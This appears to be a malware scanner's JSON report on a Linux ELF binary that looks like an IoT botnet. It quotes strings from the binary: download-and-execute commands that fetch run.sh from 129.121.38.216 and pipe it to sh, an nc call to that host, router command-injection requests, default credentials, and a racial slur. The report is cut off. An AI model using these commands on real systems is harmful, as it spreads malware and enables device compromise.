{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9935870170593262, "class": 1 }, { "id": 1, "prob": 0.590110719203949, "class": 0 }, { "id": 2, "prob": 0.6329623460769653, "class": 0 } ], "prob": 0.993587, "class": 1, "oprob": 0.90847725, "oclass": 0, "version": "v16.16", "thresholds": [ 0.993587, 0.99945134 ], "analyzed_at": "2026-04-27T09:26:14Z" }, "path": "38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6.elf", "raw": { "v": "4", "fs": [ { "f": "KO₁₁(As₆C₁₆La₄S₄AlDyEr₃CoEuI₄Pr)H₆(Cm₁₂Po₃Cr₂Db₃F₄Os)Md₅(Bi₂BkPa)", "x": 343, "id": 0, "ms": { "elf": { "e_type": 2.0, "has_note": true, "e_machine": 62.0, "class_bits": 64.0, "note_count": 2.0, "nx_enabled": true, "entry_point": 4712768.0, "symtab_count": 8581.0, "entry_section": ".text", "little_endian": true, "build_id_length": 20.0, "build_id_present": true, "debug_section_count": 8.0, "program_header_count": 6.0, "section_header_count": 26.0, "load_segment_max_p_memsz": 2948464.0, "load_segment_max_p_filesz": 2948464.0 }, "binary": { "code_size": 2845265.0, "file_size": 8864698.0, "entry_point": 4712768.0, "code_entropy": 6.18, "data_entropy": 4.32, "export_count": 6161.0, "string_count": 21552.0, "section_count": 24.0, "avg_complexity": 9.41, "function_count": 6228.0, "max_complexity": 263.0, "string_density": 7.76, "overall_entropy": 5.86, "avg_basic_blocks": 16.43, "avg_section_size": 380148.63, "entropy_variance": 1.86, "function_density": 2.24, "avg_function_size": 440.73, "avg_string_length": 34.05, "complexity_per_kb": 0.0, "max_string_length": 11511.0, "wide_string_count": 31.0, "avg_string_entropy": 3.61, "code_to_data_ratio": 0.45, "data_to_file_ratio": 0.01, "text_to_file_ratio": 0.32, "total_basic_blocks": 102341.0, "high_entropy_regions": 8.0, "high_entropy_strings": 1.0, "provenance_id_length": 20.0, "string_length_stddev": 131.35, "debug_reference_count": 8.0, "largest_section_ratio": 0.32, "provenance_id_present": true, "sentence_string_count": 2538.0, "sentence_string_ratio": 0.12, "function_analysis_depth": 2.0, "high_complexity_functions": 115.0, "nonstandard_section_name_count": 16.0 } }, "ss": [ [ 3976, "gjh7LZ7OQC7Vhvuvd8sb/lcQ0hAWkOeejTDMBiuY1/A1etfc6CiY9QZjbwpf4m/60Rc991JocLP5JVKJdYf" ], [ 11051, "P98S9" ], [ 11072, "H9PH" ], [ 11084, "PPH9SP" ], [ 11115, "PY8SY" ], [ 19369, "/proc/seH" ], [ 19384, "roc/selfH" ], [ 19399, "/cgroup" ], [ 21219, "9cpu" ], [ 21439, "/self/moH" ], [ 21454, "untinfo" ], [ 22755, "cgrou" ], [ 24550, "P H9" ], [ 24751, "V H9" ], [ 64595, "Q8H9Q" ], [ 70965, "debugCal" ], [ 71080, "l128" ], [ 71098, "l256f" ], [ 71122, "l512" ], [ 71178, "l102u" ], [ 71212, "l204" ], [ 71264, "l409u" ], [ 71289, "l819um" ], [ 71330, "l163u" ], [ 71357, "l327u" ], [ 71384, "l655u" ], [ 71412, "runtime." ], [ 74197, "runtime H" ], [ 80710, "/dev/nulH" ], [ 81872, "L3H L" ], [ 95663, "y2f9" ], [ 99457, "L$(H)" ], [ 106680, "p2f9" ], [ 110112, "f9q2" ], [ 170978, "RXH9" ], [ 171912, "8ofu" ], [ 177525, "UUUUUUUUH" ], [ 177575, "wwwwwwwwH" ], [ 185070, "D9BX" ], [ 189681, "P2H9" ], [ 221613, "t$(H)" ], [ 250280, "runtime.H9" ], [ 267244, "reflect.H9" ], [ 268770, "u9z7f" ], [ 282068, "/s7H" ], [ 285729, "Q0H9" ], [ 308047, "H92t9H9rHt3H" ], [ 338035, "L9YPA" ], [ 349139, "H9GP" ], [ 352715, "T$(H)" ], [ 355126, "09z0w" ], [ 355529, "GH9Z" ], [ 356261, "AMVS" ], [ 358499, "58ZX" ], [ 371618, "HPH9" ], [ 372071, "ZPH9" ], [ 374480, "H959" ], [ 376689, "N0H9" ], [ 384005, "\\$(L)" ], [ 386277, "A H9" ], [ 387021, "C H9" ], [ 397251, "6H9FH" ], [ 399360, "H9AH" ], [ 401505, "H9FH" ], [ 414031, "gopau/f" ], [ 420504, "gopau" ], [ 420603, "runtime.H" ], [ 420758, "runtime.H90@" ], [ 421804, "5O5R" ], [ 431210, "H9J8" ], [ 485105, "8alu" ], [ 485128, "8weui" ], [ 485193, "8singu" ], [ 485216, "8systu" ], [ 504356, "Genuu" ], [ 504372, "ntelu" ], [ 526103, "H18K1" ], [ 526220, "PXH9SX" ], [ 562178, "[bisect-H" ], [ 571121, "H H9K" ], [ 584273, "525T" ], [ 584783, "543T" ], [ 594314, "time.DatH" ], [ 595215, "time.LocL" ], [ 595315, "time.LocH" ], [ 595329, "ocation(H" ], [ 595670, "time.UTCL" ], [ 625011, "H9XP" ], [ 647076, ".zipu" ], [ 650308, "tzdau0" ], [ 653129, "/etc/locH" ], [ 653150, "altiuCf" ], [ 654625, "-07:00:0" ], [ 655013, "Mondu" ], [ 656898, "2006t" ], [ 685560, "P0H9" ], [ 690483, "D$(H)" ], [ 727387, "\\$(H)" ], [ 728072, "A E8" ], [ 729227, "H0H9" ], [ 729324, "P0H9P" ], [ 731629, "H0L9" ], [ 734658, "X H9" ], [ 737608, "JXH9" ], [ 738464, "H95Y" ], [ 796970, "reflect." ], [ 816484, "H9P0" ], [ 828225, "IHH9KH" ], [ 937204, "(BADINDEI" ], [ 937620, "(MISSINGI" ], [ 962763, "D$(M)" ], [ 979566, "B0H9" ], [ 987256, "8only" ], [ 987944, "RXL9" ], [ 988816, "D$(L)" ], [ 994195, "J I9" ], [ 1032775, "7::ff" ], [ 1076577, "5ZNM" ], [ 1085802, "8cgu" ], [ 1086158, "9cgu" ], [ 1087254, "9fileu" ], [ 1087320, "9bindu" ], [ 1090307, "ipu3" ], [ 1090531, "9tcu" ], [ 1090614, "9unixt7" ], [ 1091239, "8unix" ], [ 1091603, "9dial" ], [ 1121491, "CNAM" ], [ 1128562, "8opti" ], [ 1129108, "8doma" ], [ 1129434, "8sear" ], [ 1130227, "timeout:H98A" ], [ 1130439, "8rotau2f" ], [ 1130469, "single-rL" ], [ 1130520, "equeu" ], [ 1130543, "single-rH" ], [ 1130612, "single-r" ], [ 1130685, "8usevu" ], [ 1130809, "trust-adu'" ], [ 1130820, "8ednsu" ], [ 1130911, "no-reloaL" ], [ 1161886, "8tcu" ], [ 1161975, "8udp4t" ], [ 1172438, "55NK" ], [ 1185031, "L$(M)" ], [ 1190359, "unixpack" ], [ 1193961, "9unixt" ], [ 1207385, "9unixf" ], [ 1207413, "unixgram" ], [ 1208018, "listuUfA" ], [ 1348082, "explicitH90uf" ], [ 1348132, "optionalH" ], [ 1348142, "explicitH" ], [ 1348248, "generaliH" ], [ 1348264, "8utu" ], [ 1348307, "8iau" ], [ 1348340, "printabl" ], [ 1348379, "printablH" ], [ 1348394, "8numeu" ], [ 1348436, "8utf8u" ], [ 1348552, "8seu" ], [ 1348597, "applicat" ], [ 1348621, "iouz" ], [ 1348697, "generaliI" ], [ 1348707, "printablI" ], [ 1348780, "8priv" ], [ 1348944, "omitempt" ], [ 1399956, "I H9K" ], [ 1435438, "/u\tH" ], [ 1439756, "SPH9PP" ], [ 1458353, "of0f" ], [ 1465973, "CERTIFIC" ], [ 1509685, "/tDA" ], [ 1534276, "B H9" ], [ 1538507, "N M9" ], [ 1547144, "O H9" ], [ 1557796, "nd 31" ], [ 1558551, "A3Z0" ], [ 1558574, "A3Z8" ], [ 1558859, "expa3p" ], [ 1559882, "expa" ], [ 1562879, "5TNE" ], [ 1572652, "MPM1" ], [ 1610812, "HPKE" ], [ 1637638, "5MBD" ], [ 1694054, "BPH9" ], [ 1697737, "tls ech" ], [ 1699952, "DOWNGRD" ], [ 1706911, "nsiou" ], [ 1706929, "master s" ], [ 1706956, "ecre" ], [ 1707009, "inisu" ], [ 1707031, "server f" ], [ 1707048, "inisumf" ], [ 1707058, "heue" ], [ 1828099, "/tSf" ], [ 1828446, "B8H9" ], [ 1834848, "BXH9" ], [ 1913342, "ov0f" ], [ 1996739, "BHH9" ], [ 2009926, "9HEAD" ], [ 2011931, "ransportH9H" ], [ 2020661, "atio" ], [ 2020702, "enticateH9p" ], [ 2020720, "enticate" ], [ 2025594, "httponlyL" ], [ 2025655, "samesite" ], [ 2025694, "8lauk" ], [ 2025770, "8striu" ], [ 2025904, "partitioL" ], [ 2038388, "D$(I)" ], [ 2058666, ":protocoI99uNA" ], [ 2058698, ":authoriI99u.fA" ], [ 2073708, "9httpu" ], [ 2092783, "9CONN" ], [ 2139373, "5.18" ], [ 2143199, "HTTP/1.0H9" ], [ 2143214, "HTTP/1.1H9" ], [ 2148395, "no-cacheH92" ], [ 2150776, "http/1.1H9" ], [ 2165864, "PROPFINDH9" ], [ 2169315, "leub" ], [ 2171307, "8chun" ], [ 2177980, "Leng" ], [ 2299273, "HHH9" ], [ 2307927, "S8L9" ], [ 2321846, "Assignedf" ], [ 2340350, "PXH9" ], [ 2340466, "HXL9" ], [ 2342401, "I9HH" ], [ 2342592, "L9AH" ], [ 2342880, "L9AP" ], [ 2347059, "C8M9" ], [ 2355280, "KPH9" ], [ 2356597, "M9OP" ], [ 2358918, "J0H9" ], [ 2374256, "KPH9H" ], [ 2384168, "MD5-SESSH9" ], [ 2390348, "8true" ], [ 2391520, "H9SH" ], [ 2391532, "SXH9PX" ], [ 2396730, "/bin/busH" ], [ 2396743, "sybox BOH" ], [ 2396757, "XOFABOX" ], [ 2397159, "admif" ], [ 2399201, "exit" ], [ 2399259, "quit" ], [ 2401653, "eepAliveH" ], [ 2406740, "8null" ], [ 2415658, "rootf" ], [ 2415751, "superzxmH" ], [ 2429526, "GET /errH" ], [ 2440486, "ybox BOTH" ], [ 2440514, "/home" ], [ 2448039, "niggerDDH" ], [ 2449851, "supe" ] ], "sz": 8864698, "ts": [ { "c": 1.0, "d": "ELF GNU build-id note present", "e": [ "06e42f33cadedbb98ff38550bf6fb717d2374e93" ], "i": "metadata/build/reproducible::elf-build-id", "l": 2 }, { "c": 0.8999999761581421, "d": "Tiny JavaScript sidecar loader", "e": [ "text.total_lines = 1.00" ], "i": "objectives/supply-chain/hidden-payload/encoding::tiny-loader-lines", "l": 1 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 1.00" ], "i": "metadata/package/metrics::file-under-12-lines", "l": 1 }, { "c": 0.800000011920929, "d": "JavaScript strings capped at five", "e": [ "strings.max_length = 5.00" ], "i": "objectives/anti-static/obfuscation/string/reconstruct::js-max-string-length-short", "l": 1 }, { "c": 0.75, "d": "HTTP protocol version strings", "e": [ "HTTP/1.1" ], "i": "micro-behaviors/communications/http/request::http-versions", "l": 1 }, { "a": "T1071.001", "d": "User-Agent header", "e": [ "User-Agent:" ], "i": "micro-behaviors/communications/http/request::user-agent-header", "l": 2, "m": "C0002" }, { "c": 1.0, "d": ".cmd extension", "e": [ ".cmd" ], "i": "metadata/file/extension::cmd-ext", "l": 1 }, { "c": 0.699999988079071, "d": "HTTP User-Agent header", "e": [ "User-Agent:" ], "i": "micro-behaviors/communications/http/user-agent::user-agent-header-dup", "l": 2 }, { "c": 0.800000011920929, "d": "Short sidecar-sized source", "e": [ "text.total_lines = 1.00" ], "i": "metadata/package/config::short-sidecar-file", "l": 1 }, { "a": "T1071.001", "d": "HTTP/1.x version string", "e": [ "HTTP/1." ], "i": "micro-behaviors/communications/http/request::http-version", "l": 2, "m": "C0002" }, { "c": 0.699999988079071, "d": "Small file under 5KB", "e": [ "38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6##plain@0x34885b" ], "i": "objectives/supply-chain/metadata-anomaly/markers/npm::small-file-5k", "l": 1 }, { "c": 1.0, "d": "javascript code embedded in string", "e": [ "Detected javascript at offset 0x34885b" ], "i": "metadata/lang/embedded::javascript", "l": 2 }, { "a": "T1071", "c": 0.75, "d": "Direct IP address in URL", "e": [ "time.nist.gov\u0026wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "Authorization: Basic cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.1", "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run.sh|sh;b" ], "i": "objectives/command-and-control/infrastructure/domain::ip-address-url", "l": 3 }, { "c": 1.0, "d": "Pipe output into shell", "e": [ "|sh" ], "i": "objectives/command-and-control/dropper/execution::pipe-to-shell", "l": 1 }, { "c": 0.6000000238418579, "d": "curl silent flag (-s)", "e": [ "curl -s" ], "i": "micro-behaviors/communications/http/download::curl-s-flag", "l": 2 }, { "c": 0.30000001192092896, "d": "curl command", "e": [ "curl -s" ], "i": "micro-behaviors/communications/http/download/curl::curl-cmd-dup", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "Hardcoded download URL", "e": [ "wget -O- http://129.121.38.216", "wget http://129.121.38.216" ], "i": "objectives/command-and-control/dropper/execution/eval::download-url-hardcoded", "l": 3, "m": "B0030" }, { "a": "T1105", "d": "wget command", "e": [ "\u0026wget -O", ";wget http://", "wget -O" ], "i": "micro-behaviors/communications/http/download/curl::wget-cmd", "l": 3 }, { "a": "T1195.002", "c": 0.949999988079071, "d": "wget downloads and pipes to shell", "e": [ "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run.sh|sh" ], "i": "objectives/supply-chain/install-hook/build::configure-wget-exec", "l": 4 }, { "a": "T1195.002", "c": 0.8500000238418579, "d": "curl/wget download in build file", "e": [ "wget -O- http://", "wget http://" ], "i": "objectives/supply-chain/install-hook/build::makefile-curl-wget", "l": 1 }, { "c": 0.6000000238418579, "d": "Stderr redirected to /dev/null", "e": [ "2\u003e/dev/null" ], "i": "micro-behaviors/os/console/io::stderr-to-dev-null", "l": 2 }, { "a": "T1105", "c": 0.800000011920929, "d": "curl silent flags", "e": [ "curl -s" ], "i": "micro-behaviors/communications/http/download/curl::curl-silent", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Silent download and execute", "e": [ "curl -s http://129.121.38.216/run|sh", "curl -s http://129.121.38.216/run.sh|sh" ], "i": "objectives/command-and-control/dropper/execution/eval::download-execute-dup-quiet", "l": 4, "m": "B0030" }, { "a": "T1195.002", "c": 1.0, "d": "/run path", "e": [ "/run" ], "i": "objectives/supply-chain/install-hook/dropper/shell::run-path", "l": 1, "m": "B0030" }, { "c": 1.0, "d": "wget output to stdout flag", "e": [ "wget -O- ", "wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run.sh|sh;busybox wget http://129.121.38.216/" ], "i": "objectives/command-and-control/dropper/execution::wget-output-stdout", "l": 3 }, { "a": "T1059.004", "c": 0.699999988079071, "d": "wget piped to sh", "e": [ "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run.sh|sh;busybox wget http://129.121.38.216/" ], "i": "objectives/command-and-control/dropper/delivery/pipe::wget-pipe-sh", "l": 4 }, { "a": "T1105", "c": 0.699999988079071, "d": "wget download to file", "e": [ "wget -O", "wget http://129.121.38.216/run.sh -O" ], "i": "micro-behaviors/communications/http/download/curl::wget-output-file", "l": 3 }, { "a": "T1105", "d": "curl command", "e": [ "curl -s" ], "i": "micro-behaviors/communications/http/download/curl::curl-cmd", "l": 3 }, { "d": "Redirect to /dev/null", "e": [ "\u003e/dev/null" ], "i": "micro-behaviors/os/console/io::redirect-dev-null", "l": 2 }, { "a": "T1059.004", "c": 1.0, "d": "Redirects output to /dev/null", "e": [ "\u003e/dev/null" ], "i": "micro-behaviors/process/daemonize::redirect-dev-null", "l": 1 }, { "c": 0.800000011920929, "d": "High density of shell commands", "e": [ "text.import_density = 1000.00", "text.import_density = 2200.00", "text.import_density = 800.00" ], "i": "metadata/binary/metrics::shell-high-import-density", "l": 2 }, { "c": 0.30000001192092896, "d": "wget command", "e": [ "wget -", "wget http" ], "i": "objectives/command-and-control/beacon/network::wget-cmd-dup", "l": 1 }, { "a": "T1195.002", "c": 0.949999988079071, "d": "curl downloads and pipes to shell", "e": [ "curl -s http://129.121.38.216/run|sh", "curl -s http://129.121.38.216/run.sh|sh;busybox wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh" ], "i": "objectives/supply-chain/install-hook/build::configure-curl-exec", "l": 4 }, { "c": 1.0, "d": "Curl silent download pattern 1", "e": [ "curl -s http://" ], "i": "objectives/command-and-control/dropper/execution::inline__curl-silent-stdout__any_1", "l": 3 }, { "c": 0.949999988079071, "d": "HTTP URL with IP address", "e": [ "time.nist.gov\u0026wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "Authorization: Basic cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.1", "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run|sh", "cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;curl -s http://129.121.38.216/run.sh|sh;b" ], "i": "micro-behaviors/communications/ip::http-ip-url", "l": 4 }, { "c": 0.8999999761581421, "d": "Curl piped to sh or node", "e": [ "curl -s http://129.121.38.216/run|sh", "curl -s http://129.121.38.216/run.sh|sh;busybox wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh;tftp -g -r run.sh 129.121.3" ], "i": "micro-behaviors/process/create/shell::curl-pipe-exec-sh-node", "l": 4 }, { "a": "T1059.004", "c": 0.699999988079071, "d": "curl piped to sh", "e": [ "curl -s http://129.121.38.216/run|sh", "curl -s http://129.121.38.216/run.sh|sh;busybox wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh" ], "i": "objectives/command-and-control/dropper/delivery/pipe::curl-pipe-sh", "l": 4 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Downloads and executes remote script", "e": [ "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh", "wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh" ], "i": "objectives/command-and-control/dropper/execution/eval::download-execute-dup", "l": 4, "m": "B0030" }, { "a": "T1105", "c": 0.8999999761581421, "d": "Simple download-execute dropper", "e": [ "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh", "wget -O- http://129.121.38.216", "wget http://129.121.38.216/run.sh -O- 2\u003e/dev/null|sh", "wget http://129.121.38.216" ], "i": "objectives/command-and-control/dropper/execution/eval::simple-dropper", "l": 4, "m": "B0030" }, { "c": 1.0, "d": "shell code embedded in string", "e": [ "Detected shell at offset 0x359bec", "Detected shell at offset 0x35b9ff", "Detected shell at offset 0x759bfa", "Detected shell at offset 0x75ba14" ], "i": "metadata/lang/embedded::shell", "l": 2 }, { "a": "T1059.004", "c": 0.699999988079071, "d": "Executes a shell script file (.sh)", "e": [ ";sh run.sh" ], "i": "micro-behaviors/process/create/script::shell-script-execution", "l": 3 }, { "a": "T1105", "d": "tftp command invocation", "e": [ "tftp -g" ], "i": "micro-behaviors/communications/http/download/tftp::command", "l": 3 }, { "a": "T1105", "c": 0.8999999761581421, "d": "BusyBox wget script download", "e": [ "busybox wget http://129.121.38.216/run.sh" ], "i": "micro-behaviors/data/text/dropper::busybox-wget-http-script", "l": 1 }, { "a": "T1059.004", "c": 0.75, "d": "Executes a shell script file (.sh)", "e": [ "sh run.sh" ], "i": "micro-behaviors/process/create/script::shell-script-execution-string", "l": 3 }, { "a": "T1059.004", "c": 0.699999988079071, "d": "BusyBox command in shell script", "e": [ "busybox w" ], "i": "objectives/command-and-control/botnet/iot::busybox-shell", "l": 3 }, { "a": "T1105", "c": 0.8999999761581421, "d": "Multi-protocol payload dropper (wget/tftp/ftpget/curl)", "e": [ "tftp -g", "wget http://129.121.38.216/run.sh -O" ], "i": "objectives/command-and-control/botnet/iot::multi-protocol", "l": 4, "m": "B0024" }, { "c": 1.0, "d": "Binary is not digitally signed", "i": "metadata/unsigned", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "Hardcoded GET method string", "e": [ "GET /errH (contains: GET /)", "GET /zhnping.cmd?\u0026test=ping\u0026sessionKey= (contains: GET /)", "username=admin\u0026password=adminGET /guest_auth/baba.php?cmd=WWW-Authenticate: Basi (contains: GET /)", "GET /sheH (contains: GET /)", "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/ (contains: GET /)", "GET /login.asp HTTP/1.1 (contains: GET /)", "runtime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textSta (contains: GET /)", "Host: time: Stop called on uninitialized Timerhttp2: timeout awaiting response h (contains: GET /)", "GET /pingview.cmd HTTP/1.1\r\nHost: GET /zhnping.html HTTP/1.1\r\n (contains: GET /)", "GET /cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;sh%20cmd%202%3e%261%3b/5/6 (contains: GET /)", "Host: GET / HTTP/1.0 (contains: GET /)", "Host: GET /index_mjpg.html HTTP/1.1 (contains: GET /)", "indefinite length found (not DER)struct contains unexported fieldsGODEBUG sys/cp (contains: GET /)", "Host: GET /syscmd.htm HTTP/1.0 (contains: GET /)", "DetECDSA P-256 SHA2-512 signasn1: string not valid UTF-8invalid P224Element enco (contains: GET /)", "GET /syscmd.htm HTTP/1.0\r\nHost: (contains: GET /)" ], "i": "objectives/command-and-control/channel/http/protocol::http-method-get", "l": 1 }, { "c": 0.8999999761581421, "d": "Go ELF noptrdata section", "e": [ ".noptrdata" ], "i": "metadata/lang/compiler/systems::go-noptrdata-elf", "l": 2 }, { "c": 0.4000000059604645, "d": "Embedded ZIP archive", "e": [ "50 4B 03 04" ], "i": "micro-behaviors/data/embedded/payload::zip-magic", "l": 2 }, { "a": "T1059.006", "c": 0.6000000238418579, "d": "Named /tmp execution path", "e": [ "/tmp/malformed", "/tmp/stainfo", "/tmp/stainfo" ], "i": "objectives/command-and-control/dropper::tmp-path", "l": 1, "m": "B0024" }, { "d": "TCPConn type", "e": [ "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn", "TCPConn" ], "i": "micro-behaviors/communications/socket/tcp::tcp-conn", "l": 2 }, { "c": 0.6600000262260437, "d": "Reference to /etc configuration files", "e": [ "/etc/protocols (contains: /etc/)", "User-Agent: admin:admin123admin:cciadmintelnet opened \u0026new_password=name=\"admuse (contains: /etc/)", "/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem (contains: /etc/)", "/etc/locH (contains: /etc/)", "/etc/resolv.conf (contains: /etc/)", "/etc/services (contains: /etc/)", "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: /etc/)", "/etc/ssl/certs (contains: /etc/)", "/etc/mime.types (contains: /etc/)", "/etc/apache2/mime.types (contains: /etc/)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /etc/)", "/etc/pki/tls/certs (contains: /etc/)", "/etc/pki/tls/cacert.pem (contains: /etc/)", "/etc/ssl/cert.pem (contains: /etc/)", "Cookie: main.shtmlAvtech/1.0chmod 777 %!Weekday(short read/etc/hosts netGo = ge (contains: /etc/)", "m= sp= sp: lr: fp= gp= mp=) m=MarkAhomChamKawiLisuMiaoModiNewaThaiTotoAVX2boolin (contains: /etc/)" ], "i": "micro-behaviors/fs/path/config::config-etc", "l": 2 }, { "c": 1.0, "d": "Binary has 3+ functions", "e": [ "binary.function_count = 6228.00" ], "i": "metadata/binary/metrics::few-functions-3", "l": 1 }, { "c": 0.7200000286102295, "d": "ADB OPEN packet marker", "e": [ "OPEN" ], "i": "micro-behaviors/communications/socket/tcp::open-token", "l": 1, "m": "C0001" }, { "c": 1.0, "d": "Access /dev/urandom", "e": [ "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /dev/urandom)", "runtime: sp=abi mismatchwrong timerstrace bufferCased_LetterOther_LetterOther_Nu (contains: /dev/urandom)", "/dev/urandom (contains: /dev/urandom)" ], "i": "micro-behaviors/os/random::urandom", "l": 2 }, { "c": 0.800000011920929, "d": "getrandom syscall", "e": [ "runtime.vgetrandomAlloc (contains: getrandom)", "runtime.vgetrandomDestroy (contains: getrandom)", "transport is nilhost unreachableAlready ReportedMultiple ChoicesPayment Required (contains: getrandom)", "vgetrandomState (contains: getrandom)", "runtime.vgetrandomInit (contains: getrandom)", "vgetrandom (contains: getrandom)", "runtime.vgetrandom1 (contains: getrandom)", "getrandom statessigaction failedDash_PunctuationLowercase_LetterOpen_Punctuation (contains: getrandom)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/runtime/vgetrandom_linux.go (contains: getrandom)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/crypto/internal/sysrand/rand_getrando (contains: getrandom)", "keep-alivesocks bindProcessingNo Content%s|%s%s|%s12207031256103515625uri=\"%s\", (contains: getrandom)", "getrandom states (contains: getrandom)", "runtime.vgetrandomGetState (contains: getrandom)", "internal/syscall/unix.getrandomUnsupported (contains: getrandom)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/internal/syscall/unix/getrandom.go (contains: getrandom)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: getrandom)" ], "i": "micro-behaviors/os/random/operations::getrandom", "l": 2 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go HTTP/2 frame headers/control", "e": [ "http2HeadersFrame", "http2HeadersFrame", "http2ContinuationFrame", "http2HeadersFrame", "http2HeadersFrame", "http2ContinuationFrame", "http2ContinuationFrame", "http2HeadersFrame", "http2HeadersFrame", "http2HeadersFrame", "http2HeadersFrame", "http2HeadersFrame", "http2HeadersFrame", "http2ContinuationFrame", "http2ContinuationFrame", "http2ContinuationFrame" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-http2-frame-headers", "l": 1 }, { "c": 0.6600000262260437, "d": "List directory contents (Go)", "e": [ ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir", ".ReadDir" ], "i": "micro-behaviors/fs/directory/readdir::readdir-go", "l": 2 }, { "c": 0.699999988079071, "d": "Go socksNewDialer string", "e": [ "net/http.socksNewDialer (contains: socksNewDialer)" ], "i": "objectives/command-and-control/channel/tunnel/proxy::go-socks-dialer", "l": 1 }, { "a": "T1027", "c": 0.800000011920929, "d": "Go TLS cipher suite internals", "e": [ "cipherSuite", "cipherSuite", "SignatureScheme", "cipherSuite", "SignatureScheme", "SignatureScheme", "SignatureScheme", "SignatureScheme", "SignatureScheme", "SignatureScheme", "SignatureScheme", "SignatureScheme", "cipherSuite", "SignatureScheme", "SignatureScheme", "SignatureScheme" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-cipher-internals", "l": 1 }, { "c": 1.0, "d": ".crypto extension", "e": [ "go:itab.crypto/tls.alert,error (contains: .crypto)", "go:itab.crypto/x509.CertificateInvalidError,error (contains: .crypto)", "type:.eq.crypto/internal/fips140/sha256.Digest (contains: .crypto)", "type:.eq.crypto/cipher.gcmFallback (contains: .crypto)", "go:itab.crypto/x509.HostnameError,error (contains: .crypto)", "go:itab.crypto/x509.SystemRootsError,error (contains: .crypto)", "type:.eq.crypto/x509.HostnameError (contains: .crypto)", "type:.eq.crypto/ecdsa.PublicKey (contains: .crypto)", "type:.eq.crypto/tls.prefixNonceAEAD (contains: .crypto)", "type:.eq.crypto/sha1.digest (contains: .crypto)", "go:itab.crypto/aes.KeySizeError,error (contains: .crypto)", "type:.eq.crypto/tls.atLeastReader (contains: .crypto)", "type:.eq.crypto/internal/fips140/bigmod.Modulus (contains: .crypto)", "type:.eq.crypto/tls.RecordHeaderError (contains: .crypto)", "go:itab.crypto/internal/fips140/aes.KeySizeError,error (contains: .crypto)", "go:itab.crypto.Hash,crypto.SignerOpts (contains: .crypto)" ], "i": "objectives/impact/ransom/encrypt::ext-crypto", "l": 1 }, { "a": "T1082", "c": 0.800000011920929, "d": "os.Getenv() environment variable", "e": [ "os.Getenv" ], "i": "micro-behaviors/os/env/access::os-getenv", "l": 2 }, { "c": 0.8999999761581421, "d": "nc command invocation", "e": [ "nc 129.121.38.216 8999" ], "i": "micro-behaviors/communications/socket/netcat::nc", "l": 3 }, { "a": "T1105", "c": 0.8999999761581421, "d": "Encoded wget download command", "e": [ "tls: received unexpected handshake message of type %T when waiting for %Ttls: internal error: handsh..." ], "i": "objectives/anti-static/obfuscation/encoding::encoded-wget-http", "l": 4 }, { "c": 1.0, "d": "Go 1.22+ internal chacha8rand", "e": [ "internal/chacha8rand.(*State).Refill (contains: internal/chacha8rand)", "internal/chacha8rand.(*State).Init (contains: internal/chacha8rand)", "internal/chacha8rand.(*State).Reseed (contains: internal/chacha8rand)", "internal/chacha8rand.(*State).Init64 (contains: internal/chacha8rand)", "type:.eq.internal/chacha8rand.State (contains: internal/chacha8rand)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/internal/chacha8rand/chacha8.go (contains: internal/chacha8rand)", 